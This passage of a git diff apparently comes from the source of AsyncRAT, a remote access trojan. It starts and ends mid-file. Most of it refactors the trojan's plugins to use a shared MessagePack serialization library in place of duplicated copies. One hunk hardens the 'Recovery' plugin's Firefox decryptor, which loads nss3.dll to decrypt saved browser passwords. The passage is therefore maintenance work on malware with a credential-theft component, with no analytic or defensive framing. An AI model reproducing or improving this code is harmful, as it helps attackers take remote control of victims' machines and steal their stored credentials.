MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs index 46d51fa..26d3a7c 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Packet.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj index f128e1a..7842d44 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj @@ -1,5 +1,7 @@  + + Debug @@ -45,15 +47,31 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/packages.config b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs index b433624..af5cf5f 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs @@ -16,7 +16,9 @@ namespace Plugin.Browsers.Firefox public delegate long DLLFunctionDelegate(string configdir); public static long NSS_Init(string configdir) { - string str; + try + { + string str; if (Directory.Exists("C:\\Program Files\\Mozilla Firefox")) { str = "C:\\Program Files\\Mozilla Firefox\\"; @@ -32,6 +34,11 @@ namespace Plugin.Browsers.Firefox FFDecryptor.LoadLibrary(str + "mozglue.dll"); FFDecryptor.NSS3 = FFDecryptor.LoadLibrary(str + "nss3.dll"); return ((FFDecryptor.DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(FFDecryptor.GetProcAddress(FFDecryptor.NSS3, "NSS_Init"), typeof(FFDecryptor.DLLFunctionDelegate)))(configdir); + } + catch (Exception ex) + { + return 0; + } } public static string Decrypt(string cypherText) diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs index 46b6e05..fab50de 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for 